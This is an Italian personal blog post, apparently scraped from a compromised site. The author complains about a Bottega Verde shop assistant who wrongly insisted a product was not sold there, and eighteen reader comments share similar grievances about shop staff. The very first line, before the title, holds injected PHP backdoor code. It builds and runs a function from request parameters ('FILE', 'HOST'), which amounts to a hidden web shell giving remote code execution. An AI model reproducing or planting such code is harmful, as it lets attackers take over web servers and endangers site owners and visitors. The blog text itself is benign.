if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['d37f062be323b6a488879b979d14843a']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Il cliente ha sempre ragione. Io ancora di più. | Confessioni di Una Mente Dubbiosa

Il cliente ha sempre ragione. Io ancora di più.

Ho già ampiamente discusso del perenne conflitto tra me e la categoria delle commesse.
Non voglio dire che sono il male assoluto, dico solo che le eccezioni sono poche, è difficile trovare una commessa efficiente ma che al tempo stesso non ti rompa le palle (ovviamente le commesse che stanno leggendo sono tutte efficientissime, c’è bisogno di dirlo?).
Perché o ti salgono addosso appena entri, buongiorno, buonasera, desidera, vuole questo, se ha bisogno di aiuto mi dica pure
e continuano a seguirti con gli occhi, talmente tanto invadenti che alla fine per principio non compri neanche uno spillo, o non ti si filano neanche per sbaglio e continuano a cicalare tra di loro.
Tra i due il male minore è il secondo, perché di solito funziona così: se ho bisogno chiedo, altrimenti torna a cicalare con le tue amiche.
Ieri io avevo bisogno, commessa di Bottega Verde.
Cercavo un prodotto, ma non l’ho visto tra gli scaffali, ho chiesto a te, morettina alta un metro e una formica, e mi hai risposto che quel prodotto voi non lo avete.

Ma voi nel negozio o Bottega Verde?
Noi Bottega Verde
.
Strano, sono anni che lo compro.
Forse si sbaglia.

Eri talmente convinta che per un attimo ho dubitato di me stessa, ma davvero non l’ho comprato qui
Non so chi, o cosa, mi abbia spinto a fare un altro giro e non uscire dal negozio, ma sarà un momento da ricordare, perché quando mi sono presentata alla cassa sbattendo quel prodotto che loro Bottega Verde non fanno e sono io, rincoglionita, che mi sbaglio, avrei pagato tutto l’oro del mondo per rivedere una seconda volta il tuo sguardo quando ti sei ritrovata la scatolina sotto il naso.
Mi piace pensare che quel sospirone sconsolato che hai fatto fosse per me.
Grazie.

18 Responses to “Il cliente ha sempre ragione. Io ancora di più.”

  1. dessisa scrive:

    io ho una storia d’odio con le commesse della mia città d’origine, Cagliari, in genere sono strafighette che se la tirano moltissimo e pure se fai un acquisto da un milione di euro ti servono con sufficenza perché dicono “che me ne frega tanto mica sono soldi che prendo io”. Nelle altre città mi sembrano tutte bravissime. Tranne quelle del negozio lacoste della città dove vivo ora. Allora adotto la tecnica per entrambe: passeggio per il negozio, quando mi chiedono dico no grazie do’ un’occhiata, quando si spostano comincio a chiedere, qualsiasi cosa mi portano la vorrei vedere di un altro colore per poi (forse) comprare la prima. grinnod

  2. MonicaGellerB scrive:

    Di solito le strafighette le trovi nei negozi più costosi, dove son tutti con la stessa “divisa” e dove io non entro a priori.
    Primo perché il mio portafogli non è adatto al contesto, secondo perché, anche se lo fosse, di solito ti guardano come per dire “no, la roba che c’è qua tu non puoi permettertela”.

  3. NonnoInutile scrive:

    E’ verissimo! Quando poi il commesso è pure il boss è capace di raggiungere livelli di fetenzia inusitati. Ehmmm…come me…

  4. Pea scrive:

    io pure odio le commesse!!

    e di solito entro nei negozi con le cuffie così fingo di non vederle e non sentirle…

    ah, e nei negozi costosi mi piaaaace entrare vestita come una barbona e guardarle con più sufficienza di quanto facciano loro!

  5. Spinoza scrive:

    Io odio le commesse E odio i negozi. Ci vado solo se assolutamente costretto.

    I peggiori sono quelli delle grandi catene di elettronica. Di solito ne sanno da un decimo a un quarto di quanto ne so io (e io ne so veramente poco), e spesso ti danno risposte più che fantasiose (quando ti cagano).

  6. MonicaGellerB scrive:

    I negozi di elettronica sono i peggiori.
    Cosa realmente successa:
    “scusi volevo avere un informazione su xyz”
    “devi chiedere a chi di dovere nel reparto”.
    “dov’è?”
    “eh no, in questo momento nel negozio ci sono solo io”.
    …………….

  7. Giuliagirasoli scrive:

    oddio, anch’io le odio le commesse che voglino far le superiori o che vogliono avere ragione sempre loro (e questo tuo esempio è plausibile per far vedere che non la hanno!!!).
    Viva quelle che lo sanno davvero fare il loro lavoro! yes

  8. Joy scrive:

    Dopo Funari è morta la Merlini. Monica, che sia ricominciata la famosa sequela di vip che (prettamente) d’estate passa a miglior vita? =O

  9. MonicaGellerB scrive:

    Eh, ci son rimasta male pure stavolta.
    Può darsi…ma non oso immaginare chi possa essere il prossimo.
    Ce ne sono talmente tanti…

  10. nonsisamai scrive:

    ma che cattiva!
    condivido tutta la prima parte del post, ma in questo caso magari la tizia era nuova, non mi sembra abbia fatto nulla di cosi’ grave, suvvia… no

  11. MonicaGellerB scrive:

    E allora perché non dirmi “non lo so, un attimo che chiedo”? Dire al cliente che “forse si sbaglia” è una mossa molto infelice…

  12. *rain* scrive:

    infelicissima mossa per davvero. per curiosità: cosa stavi comprando?

  13. MonicaGellerB scrive:

    rain, tra i vari acquisti, quello che non trovavo era questo. E sono abituata a sentirmi dire che non c’è, a quanto pare va a ruba, ma dirmi che non esiste e che forse mi sbaglio quando lo uso da una anni…

  14. Joy scrive:

    @nonsisamai, il fatto è che se una commessa viene a dirmi “forse si sbaglia” (tra l’altro senza controllare se realmente mi sto sbagliando) mi fa sentire un pò stupida e non è tanto carino. Fosse successo a me avrei prodotto fumo dalle orecchie.
    Ma non dare peso a ciò che dico, che sono nel bel mezzo di QUEI GIORNI lol Ok, vado a leggermi l’assorbente.

  15. ruccia scrive:

    Io entro in un negozio quando dentro c’è almeno qualche altra cliente. Se no mi vergogno: tutti gli occhi delle commesse sono su di me!
    Ovvero entro solo nei negozi dove è acclarato che le commesse non ti chiedono niente. S ho bisogno, chiedo io.
    Ecco.

  16. MonicaGellerB scrive:

    Ah, ruccia, quello lo faccio anch’io. Se è un negozio piccolo e dentro ci sono solo commesse non entro manco morta.
    Per esempio, nei negozi Yamamay vicino a casa mia (a Milano) non c’è quasi mai nessuno e di conseguenza entro pochissime volte.
    I momenti migliori sono i saldi o sotto Natale, che sì, c’è la ressa, ma almeno nessuno ti considera.

  17. LB scrive:

    Le commesse di Bottega Verde sono terrificanti! Ogni volta ‘sta storia: arrivo alla cassa con un latte detergente e la tipa di turno fa: “Ti serve anche la crema da notte?”
    “Evidentemente no”
    Arrivo alla cassa con una matita per gli occhi e quella: “Ti serve anche un rossetto?”
    Ma dico: se mi serviva un rossetto portavo alla cassa un rossetto, oppure ti chiedevo un rossetto, non mi sembra difficile!
    no

  18. MonicaGellerB scrive:

    Bottega Verde ti frega sempre, appena arrivi alla cassa, con cose del tipo “se prendi un altro prodotto a tua scelta tra questi cinque, se riesci a fare 20 saltelli di fila su una gamba e contemporaneamente ruotare, senza mai far toccare terra all’altra gamba, allora avrai un prodotto che costa 2000 euro ma con lo sconto di 1 euro. Figata eh?”.

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